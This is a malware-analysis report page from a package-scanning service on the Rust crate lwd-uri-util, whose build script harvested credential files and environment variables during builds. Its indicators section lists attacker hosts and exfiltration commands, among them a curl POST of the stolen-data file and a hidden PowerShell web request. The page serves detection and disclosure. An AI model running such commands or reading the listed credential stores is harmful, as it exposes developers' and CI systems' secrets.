Skip to content
Open-Source Registry

cargo / lwd-uri-util / 0.1.7

lwd-uri-util 0.1.7

bitbison: flagged, behavior flagged, dependencies flagged, posture not checked, pipeline clean, 1 of 1 jobs captured RiskcriticalVulnshigh
processes
402
operations
4.5K
packages
5
compiler runs
1
connections
0
job time
4s
capture
60 KB
records
7.8K
bytes / record
7.7
run 41297452-9267-4726-a662-ee3f7a12d8b0 · built 2026-11-10 · complete View on crates.io
Reviewed by Bitbison: denyThe build script of lwd-uri-util copies every environment variable, unfiltered, and posts it to hidden URLs, in every version; from 0.1.1 on it singles out machines that hold app-signing secrets.

Graph

credential-sweep · critical · in liblwd_uri_util.rlib
4

Checks

14 of 17 clear Sensitive data access and transfer Credential stores read +1 more
Build behavior✓▲▲✓✓✓✓✓✓✓✓
Supply chain▲✓✓✓✓
Pipeline✓

Detections

3
  • Code this build ran read 8 credential stores it does not own
    build_script_build-c224bf6061a6d5d2
    critical
  • Credential store read by build-time code
    lwd-uri-util 0.1.7
    high
  • 47 credentials copied into 2 files
    lwd_uri_build_context.json
    low

Detection

criticalwitnessed

Code this build ran read 8 credential stores it does not own

Many credential stores read by code that does not own them

Subject
build_script_build-c224bf6061a6d5d2
Reaches
Jobs
build-test
Rule
credential-sweep · lwd-uri-util

Evidence

  1. Credential store read by code that does not own itcause

    Read the project's own credentials (project)

    source /home/runner/work/lwd-uri-util/lwd-uri-util/.env

    by /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build

  2. Credential store read by code that does not own itcause

    Read /home/runner/.git-credentials (forges)

    source /home/runner/.git-credentials

    by /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build

  3. Credential store read by code that does not own itcause

    Read /home/runner/.aws/credentials (cloud)

    source /home/runner/.aws/credentials

    by /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build

  4. Credential store read by code that does not own itcause

    Read /home/runner/.ssh/config (forges)

    source /home/runner/.ssh/config

    by /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build

  5. Credential store read by code that does not own itcause

    Read /home/runner/.config/gh/hosts.yml (forges)

    source /home/runner/.config/gh/hosts.yml

    by /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build

  6. Credential store read by code that does not own itcause

    Read /home/runner/.cargo/credentials.toml (registries)

    source /home/runner/.cargo/credentials.toml

    by /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build

  7. Credential store read by code that does not own itcause

    Read /home/runner/.npmrc (registries)

    source /home/runner/.npmrc

    by /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build

  8. Credential store read by code that does not own itcause

    Read /home/runner/.pypirc (registries)

    source /home/runner/.pypirc

    by /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build

  9. Why it matterscontext

    A program reads its own credentials. This build read many credential stores it does not own, of several kinds, which is how a credential stealer collects what it sends out.

In liblwd_uri_util.rlib

Loading the graph

Processes

build-test

cargo›cargo›build-script-build

Ran
/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build
Invoked by
cargo build --release --locked --message-format=json-render-diagnostics
Lineage · 3 processes
  1. cargocargo build --release --locked --message-format=json-render-diagnostics1344
  2. cargo/home/runner/.rustup/toolchains/1.99.0-x86_64-unknown-linux-gnu/bin/cargo build --release --locked --message-format=json-render-diagnostics1344
  3. build-script-build/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build1376

Remediation

Find the code that read these stores and why: a package's install, build or import step has no reason to read credentials it does not own. Treat every credential these stores hold as exposed, and rotate them unless the reads are explained.

Detection

highwitnessed

Credential store read by build-time code

Subject
lwd-uri-util 0.1.7
Reaches
Jobs
build-test, build-test, build-test, build-test, build-test, build-test, build-test
Rule
credential-read · lwd-uri-util

Evidence

  1. Credential store read by build-time codecause

    Credential store read by build-time code that does not own it: /home/runner/.git-credentials

    source /home/runner/.git-credentials

    by /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build

In liblwd_uri_util.rlib · build-test

Loading the graph

Processes

build-test

cargo›cargo›build-script-build

Ran
/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build
Invoked by
cargo build --release --locked --message-format=json-render-diagnostics
Lineage · 3 processes
  1. cargocargo build --release --locked --message-format=json-render-diagnostics1344
  2. cargo/home/runner/.rustup/toolchains/1.99.0-x86_64-unknown-linux-gnu/bin/cargo build --release --locked --message-format=json-render-diagnostics1344
  3. build-script-build/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build1376

build-test

cargo›cargo›build-script-build

Ran
/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build
Invoked by
cargo build --release --locked --message-format=json-render-diagnostics
Lineage · 3 processes
  1. cargocargo build --release --locked --message-format=json-render-diagnostics1344
  2. cargo/home/runner/.rustup/toolchains/1.99.0-x86_64-unknown-linux-gnu/bin/cargo build --release --locked --message-format=json-render-diagnostics1344
  3. build-script-build/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build1376

build-test

cargo›cargo›build-script-build

Ran
/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build
Invoked by
cargo build --release --locked --message-format=json-render-diagnostics
Lineage · 3 processes
  1. cargocargo build --release --locked --message-format=json-render-diagnostics1344
  2. cargo/home/runner/.rustup/toolchains/1.99.0-x86_64-unknown-linux-gnu/bin/cargo build --release --locked --message-format=json-render-diagnostics1344
  3. build-script-build/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build1376

build-test

cargo›cargo›build-script-build

Ran
/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build
Invoked by
cargo build --release --locked --message-format=json-render-diagnostics
Lineage · 3 processes
  1. cargocargo build --release --locked --message-format=json-render-diagnostics1344
  2. cargo/home/runner/.rustup/toolchains/1.99.0-x86_64-unknown-linux-gnu/bin/cargo build --release --locked --message-format=json-render-diagnostics1344
  3. build-script-build/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build1376

build-test

cargo›cargo›build-script-build

Ran
/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build
Invoked by
cargo build --release --locked --message-format=json-render-diagnostics
Lineage · 3 processes
  1. cargocargo build --release --locked --message-format=json-render-diagnostics1344
  2. cargo/home/runner/.rustup/toolchains/1.99.0-x86_64-unknown-linux-gnu/bin/cargo build --release --locked --message-format=json-render-diagnostics1344
  3. build-script-build/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build1376

build-test

cargo›cargo›build-script-build

Ran
/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build
Invoked by
cargo build --release --locked --message-format=json-render-diagnostics
Lineage · 3 processes
  1. cargocargo build --release --locked --message-format=json-render-diagnostics1344
  2. cargo/home/runner/.rustup/toolchains/1.99.0-x86_64-unknown-linux-gnu/bin/cargo build --release --locked --message-format=json-render-diagnostics1344
  3. build-script-build/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build1376

build-test

cargo›cargo›build-script-build

Ran
/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build
Invoked by
cargo build --release --locked --message-format=json-render-diagnostics
Lineage · 3 processes
  1. cargocargo build --release --locked --message-format=json-render-diagnostics1344
  2. cargo/home/runner/.rustup/toolchains/1.99.0-x86_64-unknown-linux-gnu/bin/cargo build --release --locked --message-format=json-render-diagnostics1344
  3. build-script-build/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build1376

Remediation

Build-time code has no business reading a credential store it does not own. Review the build script or compiler plugin that read it, and rotate the credential if the read is not explained.

Detection

lowwitnessed

47 credentials copied into 2 files

Credential copied by the build

Subject
/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-3a3c576222f5eff8/out/lwd_uri_build_context.json
Jobs
build-test
Rule
credential-copied · lwd-uri-util

Evidence

  1. Credentials found in a file the build wrotecause

    aws-credentials and 46 other credentials in /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-3a3c576222f5eff8/out/lwd_uri_build_context.json, written by build_script_build-bb5c769831fad93a after reading a planted file

    subject /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-3a3c576222f5eff8/out/lwd_uri_build_context.json

    by /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-bb5c769831fad93a/build-script-build

  2. Credentials found in a file the build wrotecause

    aws-credentials and 46 other credentials in /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-73cdc065ba4d40d7/out/lwd_uri_build_context.json, written by build_script_build-c224bf6061a6d5d2 after reading a planted file

    subject /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-73cdc065ba4d40d7/out/lwd_uri_build_context.json

    by /home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-c224bf6061a6d5d2/build-script-build

  3. Why it matterscontext

    Credentials were exposed in this file.

What came before it

Loading the graph

Processes

build-test

python3›cargo›cargo›build-script-build

Ran
/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-bb5c769831fad93a/build-script-build
Invoked by
python3 -I /home/runner/work/_temp/exercise.py /home/runner/work/lwd-uri-util/lwd-uri-util /home/runner/work/_temp
Lineage · 4 processes
  1. python3python3 -I /home/runner/work/_temp/exercise.py /home/runner/work/lwd-uri-util/lwd-uri-util /home/runner/work/_temp 1505
  2. cargocargo build --release --offline --message-format=json1518
  3. cargo/home/runner/.rustup/toolchains/1.99.0-x86_64-unknown-linux-gnu/bin/cargo build --release --offline --message-format=json1518
  4. build-script-build/home/runner/work/lwd-uri-util/lwd-uri-util/target/release/build/lwd-uri-util-bb5c769831fad93a/build-script-build1543

Remediation

Keep credentials out of build output: logs, caches and build directories outlive the job.

Vulnerabilities1Severity
lwd-uri-util
RUSTSEC-2026-0483`lwd-uri-util` was removed from crates.io for malicious codehigh

Dependencies

5
Dependencies5Build behavior
ld-linux-x86-64.so.2system library
libc.so.6system library
libgcc_s.so.1system library
libm.so.6system library
libmvec.so.1system library

Versions8

Raw data

capture
60 KB
records
7,765
bytes per record
7.7

Loading a sample of the capture

Want to see more? E-mail us at hello@bitbison.io about your use case.

1 of 1 jobs captured: build-test success · Generated 2026-11-10 · run 41297452-9267-4726-a662-ee3f7a12d8b0

analysis 0.1.0 · 2026-11-09 · 7b4199c · graph v2

Bitbison's review

Cargo build script exfiltrates the whole environment to attacker endpoints

Verdict
deny
Behaviors
malicious
Covers
Every version
Reviewed by
Bitbison
Updated
2026-11-10

The build script of lwd-uri-util copies every environment variable, unfiltered, and posts it to hidden URLs, in every version; from 0.1.1 on it singles out machines that hold app-signing secrets.

Indicators

hosts
api.sdklfghaljksdhfkjasdfhlasdhfjklasdf.xyzsession-check.sapho11.workers.devwebhook.site
files
build.rslwd_uri_build_context.json
processes
curl -s -X POST --data-binary @lwd_uri_build_context.json <url>powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command iwr ...

What was examined

0.1.0
sha256:129be19ca4d1d997d168af561e5cea12b0a401716a05720daf48072e470d7db5
0.1.1
sha256:10304aa2c167bb0d66800020fb1f983bc62bb5bec89239de9fddb129b523149a
0.1.2
sha256:6d35f023e3d87f8d4bc91a3bc670ae4681e9d85937146b9b0683d0f33eb0f55a
0.1.3
sha256:80c54ff4fe231c363db0c75cbb81f566ea4d10c266ec594165d840df13ab0973
0.1.4
sha256:476a207e057ec463ff045a2c0115c8a34ea8eab70e0abe4c1efd90ceb8b5161c